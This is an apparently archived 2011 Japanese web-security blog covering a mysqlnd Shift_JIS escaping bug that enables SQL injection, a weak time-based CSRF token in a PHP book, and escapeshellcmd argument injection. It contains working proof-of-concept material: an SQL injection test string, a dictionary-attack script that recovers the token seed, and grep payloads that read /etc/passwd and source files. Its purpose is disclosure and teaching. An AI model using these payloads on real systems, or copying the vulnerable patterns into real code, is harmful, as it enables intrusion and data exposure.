2011-08-30 2011-08-30
●RSSフィードをリダイレクトします
既にご案内のように、徳丸浩の日記は、http://blog.tokumaru.org/に移転しております。旧コンテンツは残しますが、あらたな投稿はないため、読者の便宜のため9月1日を目処に、フィードを新サイトにリダイレクトする予定です。
現在のRSSフィード
- http://www.tokumaru.org/d/index.rdf (コメントあり)
- http://www.tokumaru.org/d/no_comments.rdf (コメントなし)
新サイトのRSSフィード
従来のフィードの読者は、何もしなくても新しいブログエントリを購読できます。あるいは、適宜新サイトのフィードを購読し、旧フィードを削除するなどの処理をお願いいたします。
以上、お手数をおかけしますが、よろしくお願いいたします。
2011-07-01 2011-07-01 徳丸浩の日記を移転します / ソフトバンクのゲートウェイ型SSLの脆弱性を振り返る
サーバーの能力の問題もあり、「徳丸浩の日記」を以下のURLに移転致します。旧のコンテンツはそのままとし、新しいエントリから新ブログの方に書いていきます。
新ブログの最初のエントリとして、「ソフトバンクのゲートウェイ型SSLの脆弱性を振り返る」を書きましたので、ぜひお読みください。
2011-03-29 2011-03-29
●PDO/MySQL(Windows版)の文字エンコーディング指定の不具合原因
前回のブログ「PHP5.3.6からPDOの文字エンコーディング指定が可能となったがWindows版では不具合(脆弱性)あり」にて、PHP5.3.6(本エントリ執筆時点での最新版)からPDOにてサポートされた文字エンコーディング指定がWindows版では正しく動作しないことを報告しました。Linuxでは正常に動作するので不思議だなという話になっていたのですが、千葉征弘さん(@nihen)が調べてくださった結果がtwitter上で発表されました(toggerによるまとめ「PHP5.3.6からPDOの文字エンコーディング指定が可能となったがWindows版では不具合にまつわる件」)。この件につき、当ブログでも報告します。
問題点の復習
PHP5.3.6以降のPDOでは、データベースに接続する際の文字エンコーディングを、接続文字列内にcharset=utf8等の形で指定することができます。PDO+MySQLの組み合わせの場合、Windows版のPHPからShift_JISでMySQLに接続する場合に、文字列のエスケープが正常に動かず、SQLインジェクション脆弱性の原因になっていました。
問題の原因
PHPのMySQLネイティブ・ドライバ(Mysqlnd)にバグがありました。ext/mysqlnd/mysqlnd_charset.cというファイル中のShift_JISの判定部分にバグがあります。
330 #define valid_sjis_head(c) ( (0x81 <= (c) && (c) <= 0x9F) && \ 331 (0xE0 <= (c) && (c) <= 0xFC)) 332 #define valid_sjis_tail(c) ( (0x40 <= (c) && (c) <= 0x7E) && \ 333 (0x80 <= (c) && (c) <= 0x7C))
[http://svn.php.net/viewvc/php/php-src/trunk/ext/mysqlnd/mysqlnd_charset.c?view=markup]
これだけだとどこが悪いのか分かりにくいかもしれませんが、cp932の場合の同様の処理と比べるとよく分かります。
213 #define valid_cp932head(c) ( (0x81 <= (c) && (c) <= 0x9F) || (0xE0 <= (c) && c <= 0xFC)) 214 #define valid_cp932tail(c) ( (0x40 <= (c) && (c) <= 0x7E) || (0x80 <= (c) && c <= 0xFC))
[http://svn.php.net/viewvc/php/php-src/trunk/ext/mysqlnd/mysqlnd_charset.c?view=markup]
全体のORをとらないといけないところをANDをとっているので、マクロvalid_sjis_headは常に偽を返します。このため、すべてのバイトが1バイト文字と認識されることになり、文字エンコードとしてLatin1(ISO8859-1)を指定した場合と同じ挙動となっています。これは、先の評価の結果と一致します。文字エンコーディングとしてcp932を指定した場合は正しく動作します。
また、333行目の末尾付近の0x7Cは、正しくは0xFCでしょう。ちょっと雑な作りというか、このあたり「やっつけ仕事」という印象を受けます。テストはしていないでしょうね。
なお、WindowsとLinuxで挙動が異なる理由は、WindowsではMySQLとの接続にMySQLネイティブ・ドライバ(Mysqlnd)が使用され、Linux(Unix)ではデフォルトでMySQLクライアント・ライブラリが使用されるからです(参照→PHP公式マニュアル)。上記のバグはMySQLネイティブ・ドライバ固有の問題なので、MySQLクライアント・ライブラリを使用する場合(Unix/Linuxのデフォルト設定)には影響しません。
どうすればよいか
では、どう書けばよいということですが、そもそもデータベースとの接続にShift_JISを使うこと自体が好ましくないので、結局前回の指摘と変わりません。再掲すると以下のようになります。
- 静的プレースホルダを用いる
- データベース接続の文字エンコーディングにはUTF-8を用いる
具体的には、以下のようにすると良いでしょう。
$dbh = new PDO('mysql:host=localhost;dbname=test;charset=utf8', USERNAME, PASSWORD,
array(PDO::ATTR_EMULATE_PREPARES => false));
// set names は必要ない
// 後はプレースホルダによりSQLを呼び出す
ただし、既存のアプリケーションで、かつWindows環境でShift_JISを使っている場合には、文字エンコーディングとしてcharset=cp932を指定するとよいでしょう。その場合でも、array(PDO::ATTR_EMULATE_PREPARES => false)の指定により静的プレースホルダを用いることを強く推奨します。
2011-03-22 2011-03-22
●PHP5.3.6からPDOの文字エンコーディング指定が可能となったがWindows版では不具合(脆弱性)あり
PHP5.3.6からPDO/MySQLにてデータベースの接続文字列にて文字エンコーディングが指定可能となりました。この機能を検証した結果、Linux上では正常な動作を確認しました。Windows版でも一見動作するようですが、動的プレースホルダ内部のエスケープ処理に不備があり、Shift_JISでデータベースと接続している際にSQLインジェクション脆弱性の可能性があります。
きっかけ
@haruyamaさんのツイートがきっかけで、PHP5.3.6からPDOの文字エンコーディング指定が有効となったことを知りました。
PHP 5.3.6以降では PDO/MySQLのDSNでのcharset指定が有効になったようです. (MySQL 4.1.11以降, MySQL 5.0.7以降, もしくはMySQLNDを利用している場合)
[http://twitter.com/#!/haruyama/status/48534861631324160より引用]
これは重要な改良です。以前、「ぼくがPDOを採用しなかったわけ(Shift_JISによるSQLインジェクション) 」で報告したように、従来PDOはデータベース接続文字列中の文字エンコーディング指定を無視しており、my.cnfファイル名を指定する方法でしか文字エンコーディングを正しく指定する方法がありませんでした。この方法を使っていない場合や、Windows環境などmy.cnfのファイル名を接続時に指定できない環境では、SQLインジェクション脆弱性の原因になる場合がありました。文字エンコーディングの指定が容易になると、安心してPDOを使うことができるはずです。
このため、本当に安心してPDOを使えるようになったかどうかを検証してみました。
検証内容
検証環境としては、Windows Server 2003とLinux(Ubuntu 10.04)の2種類の環境を用意しました。
| Windows | Linux | |
| OS | Windows Server 2003 | Ubuntu 10.04 |
| PHP | PHP5.3.6(zip) | PHP5.3.6(ソースからmake) |
| MySQL | MySQL 5.1.37 | MySQL 5.1.41 |
テーブルの文字エンコーディングはUTF-8、データベースとの接続に用いる文字エンコーディングはShift_JISを用いました。MySQLのバージョンが少し古めですが検証には問題ないと思われます。
検証では以下の三点を確認しました。
- データベース接続時に文字エンコーディング指定がなされているか*1
- 文字エンコーディングは正しく変換されるか
- 動的プレースホルダにて文字列リテラルのエスケープは文字エンコーディングを考慮しているか
検証に用いたスクリプトの概要を以下に示します。
<?
// ソースの文字エンコーディングはShift_JIS
try {
$dbh = new PDO('mysql:host=localhost;dbname=test;charset=sjis', USERNAME, PASSWORD);
$sth = $dbh->prepare("select * from test5c WHERE a=:a");
$sth->setFetchMode(PDO::FETCH_NUM);
$a = "ソ\' OR 1 = 1#--"; // 「ソ」の後ろの「\」は「ソ」の2バイト目の0x5cに対するエスケープ
$sth->execute(array(':a' => $a));
while ($data = $sth->fetch()) {
var_dump($data);
}
} catch (PDOException $e) {
die($e->getMessage());
}
結果
WindowsとLinuxの環境で検証した結果を以下に示します。
| Windows | Linux | |
| データベース接続時の文字エンコーディング指定 | ○ | ○ |
| 文字エンコーディングの変換 | ○ | ○ |
| エスケープ時の文字エンコーディング考慮 | × | ○ |
WindowsとLinuxの両方を試した理由は、「Linuxでは期待通り動作するがWindowsには対応していない」状況を想定していたのですが、結果はご覧の通り、Windowsでは中途半端に対応している(けど結局使えない)という予想外の結果となりました。Windows上の動作が合点がいかなかったので、念のためWindows Server 2003のクリーンな環境にMySQL(5.5.10)とPHP(5.3.6)をインストールした環境でも試しましたが、結果は同じでした。古いバージョンのPHPが悪さをしていたなどの問題でもなさそうです。
まとめ
PHP5.3.6以降で対応しているPDOの文字エンコーディング指定を検証しました。Linux環境では期待通り安全に動作し、Windowsではエスケープの文字エンコーディングが考慮されていないという結果になりました。このため、Windows環境では依然として、SQLインジェクション脆弱性の可能性が残ります。
このため、PDOを安全に使うには、静的プレースホルダと文字エンコーディングとしてUTF-8の指定が有効と考えられます。すなわち、ぼくがPDOを採用しなかったわけ(Shift_JISによるSQLインジェクション) で報告したように、以下を推奨します。
- 静的プレースホルダを用いる
- データベース接続の文字エンコーディングにはUTF-8を用いる
具体的には、以下のようにすると良いでしょう。
$dbh = new PDO('mysql:host=localhost;dbname=test;charset=utf8', USERNAME, PASSWORD,
array(PDO::ATTR_EMULATE_PREPARES => false));
// set names は必要ない
// 後はプレースホルダによりSQLを呼び出す
PHP5.3.6のPDO改良の検証は始まったばかりです。とくに、WindowsとLinuxで動作が異なる原因は今回未着手です。このエントリがきっかけとなって、検証に参加される方が増えることを期待します。
追記(2011/03/29)
千葉征弘さん(@nihen)の調査により、この問題の原因がPHPのMySQLネイティブ・ドライバ(Mysqlnd)のバグだと分かりました。詳しくはこちらを参照ください。
*1 Wiresharkによるネットワークキャプチャにより確認しました
2011-01-27 2011-01-27
●CSRF対策のトークンをワンタイムにしたら意図に反して脆弱になった実装例
橋口誠さんから今話題の書籍パーフェクトPHP (PERFECT SERIES 3)を献本いただきました。ありがとうございます。このエントリでは同書のCSRF対策の問題点について報告したいと思います*1。
本書では、CSRFの対策について以下のように説明されています(同書P338)。
CSRFへの対応方法は、「ワンタイムトークンによるチェックを用いる」「投稿・編集・削除などの操作の際にはパスワード認証をさせる」などがあります。一番確実な方法は両者を併用することですが、ユーザ利便性などの理由から簡略化する場合でもワンタイムトークンによるチェックだけは実装するべきです。
ワンタイムトークンの利用を推奨していますが、実はCSRF対策の場合ワンタイム性は必須ではありません。安全なウェブサイトの作り方のCSRF対策の項には以下のように書かれています。
まず、利用者の入力内容を確認画面として出力する際、合わせて秘密情報を「hidden パラメータ」に出力するようにします。この秘密情報は、セッション管理に使用しているセッションID を用いる方法の他、セッションID とは別のもうひとつのID(第2 セッションID)をログイン時に生成して用いる方法などが考えられます。生成するID は安全な擬似乱数を用いて、第三者に予測困難なように生成する必要があります。
[安全なウェブサイトの作り方より引用]
秘密情報(トークン)としてセッションIDを用いる方法の他、セッションIDとは別に安全な乱数を用いてトークンを生成する方法が記載されています。トークンを生成する場合も「ログイン時に生成」とあることから、セッション毎にユニークではあっても、ワンタイム性は求めていません。すなわち、CSRF対策のトークンの必須要件は「第三者から推測が困難」という推測困難性だけです。しかし、書籍などを見ていると、安全でないワンタイムトークンの生成方法が紹介されていることがあります。ワンタイムにすることで、更にセキュリティを強化するつもりなのでしょうが、これではセッションIDをトークンとして用いる方法よりも安全性が下がってしまいます。
パーフェクトPHPの場合はどうでしょうか。同書P339からP340には以下のようにトークン生成のスクリプトが紹介されています。
function get_oken($key = '') { // 引用者注:関数名は誤植らしい
$_SESSION['key'] = $key;
$token = sha1($key);
return $token;
}
// 中略
// ワンタイム生成用文字列
$seed = 'secret';
// 中略
$key = $seed . '_' . microtime();
$token = get_token($key);
ご覧のように、「種」となる$seed(この場合は「secret」)とマイクロ秒までの日時を連結してSHA-1ハッシュをとったものとなっています。しかし、マイクロ秒とはいえ日時を元にしているので、予測可能な情報を元にトークンを生成していることになり、心配です。$seedの値がばれなければ攻撃は難しいと思われるかもしれませんが、パーフェクトPHPには$seedに関する注意はなく、そのままコピペして使う人が出てきそうです。その場合は、はっきりと脆弱性といえるでしょう。
あるいは、$seedの値が'secret'となっているわけだから、明記はされていないが暗黙の了解として$seedは本番環境では変更して使うのだという意図かもしれません。仮にそうだとして、パーフェクトPHPに説明されているCSRF対策(以下パーフェクト方式と表記)の$seedの値を外部から推測できないかを実験してみました。以下の実験では、パーフェクト方式の$seedをパスワードのような数文字の文字列と想定して、辞書攻撃による推測を試みます。
まず、攻撃対象のサイトですが、簡単にするために、単にトークンを生成して返すだけです。
<?php $seed = 'secret'; $key = $seed . '_' . microtime(); $token = sha1($key); echo $token; ?>
このトークンを元に、$seedを辞書攻撃で解析するスクリプトをPHPで作成しました。スクリプトは以下の通りです。
<?php
function get_token($seed, $microtime) {
$key = $seed . '_' . $microtime;
return sha1($key);
}
function calc_diff_time($a, $diff) {
$a0 = $a[0] + $diff;
$a1 = $a[1];
if ($a0 > 1000000) {
$a0 -= 1000000;
$a1++;
} else if ($a0 < 0) {
$a0 += 1000000;
$a1--;
}
//printf("0.%06d00 %d\n", $a0, $a1);
return sprintf("0.%06d00 %d", $a0, $a1);
}
function get_dictionary() {
$dic = array();
$fp = fopen('password.lst', 'r');
while (! feof($fp)) {
$line = rtrim(fgets($fp, 1024));
if ($line !== '' && $line[0] !== '#') {
$dic[] = $line;
}
}
fclose($fp);
return $dic;
}
function check_token($token, $seed, $microtime) {
$token1 = get_token($seed, $microtime);
return ($token == $token1);
}
$dic = get_dictionary();
$m0 = microtime();
$token = file_get_contents('http://example.jp/onetimetoken.php');
$m1 = microtime();
echo 'server token: ' . $token . "\n";
$m = $m0;
echo "m0 = $m0\n";
echo "m1 = $m1\n";
$a = explode(' ', $m);
$a[0] = (int)substr($a[0], 2, 6);
$a[1] = (int)$a[1];
$count = count($dic);
for ($t = 0; $t < 1000000; $t++) {
$mx1 = calc_diff_time($a, $t);
$mx2 = calc_diff_time($a, -$t);
for ($i = 0; $i < $count; $i++) {
$seed = $dic[$i];
if (check_token($token, $seed, $mx1)) {
echo "seed = $seed\n";
echo "match $t\n";
echo "microtime = $mx1\n";
exit(0);
}
if (check_token($token, $seed, $mx2)) {
echo "seed = $seed\n";
echo "match -$t\n";
echo "microtime = $mx2\n";
exit(0);
}
}
}
これは以下の手順で$seedの値を推測しています
- 辞書ファイルを読み込む
- 攻撃対象サイトにアクセスしてトークンを得る
- 現在時刻を基準に、時刻を1マイクロ秒ずつ前後にずらしながら繰り返し
- 辞書中の単語を順に試しながらトークンを生成する
- 攻撃対象から得たトークンと一致するものがあれば終了
辞書ファイルとしてはJohn the Ripperに添付された約3000語のパスワード辞書を用いました。実行例を以下に示します。
$ time php get-seed.php seed = secret match -4940 microtime = 0.84839400 1296101921 real 2m7.532s user 2m7.238s sys 0m0.056s
2分7秒で$seedがsecretであることが判明しています。2分7秒はチャンピオンデータであり、これより時間が掛かる場合もありますが、30分もあればほぼ確実に$seedが得られます。すなわち、辞書にのっているような単語を$seedに使ってしまうと、現実的な時間内に$seedが解読され、CSRF攻撃される可能性があるということです。
なお、本書のP340では、ワンタイムトークンのチェックの際に、トークンが一致した場合のみセッション変数からトークンを削除していますが、本来はマッチしない場合もトークンを削除するべきです。トークンが一致しない場合にセッション変数のトークンを削除していないので、攻撃者はマイクロ秒単位の時刻をずらしながらトークンを生成して次々に攻撃することで、攻撃確率を高めることができます。
まとめ
パーフェクト方式のCSRF対策は現在時刻を元にしているので、ハッシュ関数を通しても、内部の「種」の文字列を推測される危険性があります。そして、種がばれてしまうと、ワンタイムトークンは時刻の関数となるので、トークン推測によるCSRF攻撃の危険性があります。マイクロ秒単位の時刻を元にしているので、攻撃成功の確率は高くはありませんが、時刻推測の精度を高め、攻撃を繰り返すことにより、攻撃が成功する確率を高めることが可能です。
興味深いことに、この事例は、ワンタイムトークンを選んだことにより、かえって攻撃の成功確率が高くなっています。もしもセッション開始時に同じ方法でトークンを生成した場合、セッション開始時刻を攻撃者が正確に推測することは困難なので、攻撃の成功率はかなり低くなります(ただし、その場合でも時刻を元にしたトークンは好ましくありません)。一方、ワンタイムトークンの場合は、トークンを生成するページを罠ページから閲覧させることにより、トークンの元となる時刻はかなり正確に測定できます。そのため、トークンが一致する確率も高くなります。
この事例から得られる教訓は、トークン生成は安全な乱数を用いるべきであり、安全な疑似乱数生成器がない場合は、セッションIDそのものを使う方法が妥当だということです。ワンタイムにすることで一層セキュアにしようとした意図があだとなり、かえって危険な実装になったのは皮肉としか言いようがありません。
なお、同書のP255には、「実践的な開発におけるワンタイムトークンの実装例」があり、こちらはトークン生成の種にセッションIDも含めているので、上記のような脆弱性はありません。しかし、ここで紹介した方の対策が「脆弱な例」と説明されているわけではないので、読者は注意が必要です。
*1 献本の批判をすることに最初躊躇しておりましたが、橋口さんからどんどん指摘してくださいというコメントを頂きましたので、公開に踏み切りました。橋口さんの寛大な態度に敬意を表します。
2011-01-04 2011-01-04
●escapeshellcmdの危険な実例
先日の日記PHPのescapeshellcmdの危険性ではPHPのescapeshellcmd関数の危険性について指摘しましたが、脆弱となる実例を挙げていなかったので、「本当に危険なのか」と半信半疑の方もおられると思います。そこで、同関数が危険となる実例を考えたので報告します。
grepを使って、サーバー内を検索するスクリプトを考えます。
<?php
header('Content-Type: text/html; charset=UTF-8');
?>
<html>
<body><pre>
<?php
$key = @$_GET['key'];
$out = shell_exec('grep --no-filename "' . escapeshellcmd($key) . '" /var/data/*');
echo htmlspecialchars($out, ENT_COMPAT, 'UTF-8');
?>
</pre></body>
</html>
このスクリプトは、外部からのキーワードを/var/data/内のファイル群から検索して表示するものです。PHPのshell_execute関数を用いて、実行結果を文字列として返し、htmlspecialcharsでHTMLエスケープしています。検索キーはescapeshellcmdでエスケープした結果をダブルクォートで囲っています。
一見、なんの問題もないスクリプトに見えます。まずは正常系の結果です。key=bookで実行してみます。
book:村上春樹 book:芥川龍之介 book:シェークスピア
bookを含む行が表示されました。
次に攻撃です。key=:"+"/etc/passwd として実行してみます。以下の結果となります。
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin …略
/etc/passwdの内容が表示されました。エスケープしているのに、なぜこの結果になるのでしょうか。
それは、escapeshellcmdが「' および " は、対になっていない場合にのみエスケープされます。」という仕様のためです。このため、grepの起動文字列は次のようになっています。
grep --no-filename ":" "/etc/passwd" "/var/data/*"
/etc/passwdの各行にはコロンが含まれていますから、これで/etc/passwdの全行が表示されます。適当な文字がなければ「$」(行末にマッチ)などを指定してもいいですね。
あるいは、PHPのソースを表示することもできます。key=$"+"/var/www/html/grep.php と指定すると、以下の表示になります。
<?php
header('Content-Type: text/html; charset=UTF-8');
?>
<html>
<body><pre>
<?php
$key = @$_GET['key'];
この検索プログラム自体のソースが表示されました。スクリプトのソースが見えれば、他の脆弱性を探すのも楽ちんですよね。
escapeshellcmdの「' および " は、対になっていない場合にのみエスケープされます。」という仕様により、1つのパラメータが2つのパラメータに分かれてしまうことが問題です。これはescapeshellcmdの脆弱性というよりは、仕様の不備と言うしかないでしょうね。マニュアルに書いてある通りの動作が問題な訳ですから。というわけで、escapeshellcmdよりはescapeshellargを使えということと、そもそもOSコマンドを呼ばないなどのもっと良い方法を検討しましょう、というお話です。
Before...
★ らいあ [はじめまして。 sha1( uniqueid( mt_rand(), true)); というのが PHP..]
★ 徳丸浩 [らいあさん、こんにちは > sha1( uniqueid( mt_rand(), true)); ご指..]
★ こういち [いつも参考にさせていただいております。ありがとうございます。 また書籍も購入させていただきました。 さて今回..]